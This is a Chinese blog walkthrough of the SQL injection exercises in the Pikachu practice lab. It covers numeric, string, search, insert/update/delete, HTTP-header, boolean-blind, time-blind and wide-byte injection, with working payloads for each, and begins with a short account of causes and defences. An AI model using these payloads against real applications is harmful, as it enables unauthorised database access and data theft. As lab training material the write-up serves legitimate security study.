Pikachu——SQL Inject

一、概述

在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库注入漏洞。
一个严重的SQL注入漏洞,可能会直接导致一家公司破产!
SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。
在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:
1.对传进SQL语句里面的变量进行过滤,不允许危险字符传入;
2.使用参数化(Parameterized Query 或 Parameterized Statement);
3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!

二、数字型注入(POST)

首先,先查询1

 

 

 因为是post方式所以URL里不显示,我们需要通过burpsuite抓包修改post data来实现注入

 

 

 我们就可以获取到所有的信息

 

 

 三、字符型注入(GET)

首先我们可以发现get方式是显示在URL里的,这里从URL注入就可以

 

 

 输入vince

 

 

 因为是字符型注入,所有需要构造闭合

vince' or ''='

 

 

 四、搜索型注入

首先我们输入用户名的一部分进行搜索,可以发现是get型的

 

 

加单引号数据库报错说明是字符型

 

 

  我们查看一下源代码

 

 

所以我们构造闭合进行注入

v' or 1=1--+

 

 

 五、xx型注入

只是闭合方式从'变成了')

 

 

 六、"insert/update"注入

 ①insert注入

首先点击注册

 

 

 在姓名输入框加单引号

数据库报错,说明单引号参与到了数据库语句中被执行

 

 

 我们在MySQL命令行,知道了要插入的表的各个字段

 

 正常的插入操作

insert into member(id,username,pw,sex,phonenum,address,email) values(8,'jyx',666,'girl',1020,'r1se','bjyx');

记得给输入的带字符的加单引号要不然会报错

 

 插入成功

 

 现在我们使用updatexml报错注入

insert into member(id,username,pw,sex,phonenum,address,email) values(8,'jyx' and updatexml(1,concat(ox7e,database()),1) or '',666,'girl',1020,'r1se','bjyx');

 

 所以在姓名输入框我们这么输入

jyx' and updatexml(1,concat('~',database()),1) or '

 

 提交

 

 ②update注入

登录以后在修改信息的地方注入

 

 成功

 

 七、"delete"注入

查看源码

 

 抓包发送到repeater模块修改id部分,由于是URL里所以需要进行URL编码,如下图操作

 

 点击go,成功

 

 八、"http header"注入

首先用admin,123456,登录,如下图,说明可能存在注入,还是发生在http头部

 

 接下来刷新页面抓包

 '  and updatexml(1,concat(0x7e,database(),0x7e),1) or ''='

 

 成功

 

九、盲注(base on boolian) 

我们先查看代码

 

 字符型注入并且不打印错误描述(这里的jyx账号因为我上面insert操作并且没删)

如果注入正确

jyx' and length(database())=7#

 

 如果错误

jyx' and length(database())=8#

 

 我们就知道了数据库名字长度为7

十、盲注(base on time)

jyx' and if((length(database())=7),1,sleep(5))#

 

 jyx' and if((length(database())=8),1,sleep(5))#

 

 也可知数据库长度是7

十一、宽字节注入

 查看代码

 

 会在注入语句的单引号前加/进行转义,所以我们采取宽字节注入的方式,在单引号前面加%df,这样在单引号输入以后前面会有个/,也就是%5C,%df%5C在GBK中是運这个字,所以就成功可以注入了

如下:抓包修改为jyx %df' or 1=1#

 

 成功

 

posted @ 2020-03-31 16:47  ApricityJ  阅读(155)  评论(0编辑  收藏  举报